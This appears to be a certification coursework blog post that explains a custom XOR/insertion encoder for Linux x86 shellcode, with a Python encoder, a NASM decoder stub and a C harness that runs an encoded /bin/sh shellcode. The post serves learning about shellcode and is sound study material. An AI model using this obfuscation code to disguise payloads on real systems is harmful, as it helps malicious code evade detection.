This one is about building a custom encoder and decoder. For this I used an insertion / XOR encoder, that splits the shellcode into bytes and inserts a random value. Further the shellcode is decoded using xor with the random value. This way, we have a shellcode, that has nothing to do with the original shellcode anymore.
|shellcode1|shellcode2|shellcode3|... The shellcode is encrypted with a randomvalue encryptedshellcode1 = shellcode1 ^ randomvalue1 encryptedshellcode2 = shellcode2 ^ randomvalue2 ... The encrypted insertion shellcode: |encryptedshellcode1|randomvalue1|encryptedshellcode|randomvalue2|encryptedshellcode3|randomvalue3|...
For encoding I use the following python script.
customencoder.py
#!/usr/bin/python # Python Insertion Encoder import random shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") print 'Original Shellcode Len: %d' % len(bytearray(shellcode)) encoded = "" decoded = "" print 'Encoded shellcode ...' for x in bytearray(shellcode) : # encoding rd=random.randint(1,255) encoded += '0x' enc = '%02x' % (x ^ rd) encoded += enc + "," encoded += '0x%02x,' % rd # test the decoding process # decoded += '\\x' # decoded += '%02x' % ( int(enc,base=16) ^ rd) print encoded #print 'Decoded shellcode ...' #print decoded
The decoding process works as following:
|encryptedshellcode1|randomvalue1|encryptedshellcode2|randomvalue2|encryptedshellcode3|randomvalue3|... shellcode1 = encryptedshellcode1 ^ randomvalue1 shellcode2 = encryptedshellcode2 ^ randomvalue2 ... The result: |shellcode1|shellcode2|shellcode3|...
And here is the referring assembler code.
customdecoder.nasm
global _start section .text _start: jmp short call_shellcode decoder: pop esi lea edi, [esi] xor eax, eax xor ebx, ebx xor ecx,ecx decode: mov bl, byte [esi + eax] ; get shellcode mov cl, byte [esi + eax + 1] ;get the key xor bl, cl ; decode the shellcode mov byte [edi], bl mov bl, byte [esi + eax +2] xor bl, 0xaa ;marker for the end of the shellcode jz short EncodedShellcode ; if marker > exec shellcode inc edi add al, 2 jmp short decode call_shellcode: call decoder EncodedShellcode: db 0x28,0x19,0xae,0x6e,0x78,0x28,0xc3,0xab,0x38,0x17,0x7f,0x50,0x02,0x71,0xff,0x97,0x05,0x6d,0x90,0xbf,0x3a,0x58,0x14,0x7d,0x76,0x18,0xf4,0x7d,0x35,0xd6,0xcf,0x9f,0xd7,0x5e,0xec,0x0e,0x96,0xc5,0x95,0x1c,0x72,0x93,0xa8,0x18,0xc0,0xcb,0xf9,0x34,0x9e,0x1e,0xaa
As you can see, I added 0xaa to the end of the shellcode, it is used as a marker. When the decoder reaches 0xaa the shellcode can be executed.
For a demonstration the shellcode has to be extracted like in the other blog posts. Then the following C code can be used.
shellcode.c
#include<stdio.h> #include<string.h> unsigned char code[] = \ "\xeb\x22\x5e\x8d\x3e\x31\xc0\x31\xdb\x31\xc9\x8a\x1c\x06\x8a\x4c\x06\x01\x30\xcb\x88\x1f\x8a\x5c\x06\x02\x80\xf3\xaa\x74\x0a\x47\x04\x02\xeb\xe7\xe8\xd9\xff\xff\xff\x28\x19\xae\x6e\x78\x28\xc3\xab\x38\x17\x7f\x50\x02\x71\xff\x97\x05\x6d\x90\xbf\x3a\x58\x14\x7d\x76\x18\xf4\x7d\x35\xd6\xcf\x9f\xd7\x5e\xec\x0e\x96\xc5\x95\x1c\x72\x93\xa8\x18\xc0\xcb\xf9\x34\x9e\x1e\xaa"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
And it is running:
$ ./a.out Shellcode Length: 92 $ exit
Get the code.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342
Leave a Reply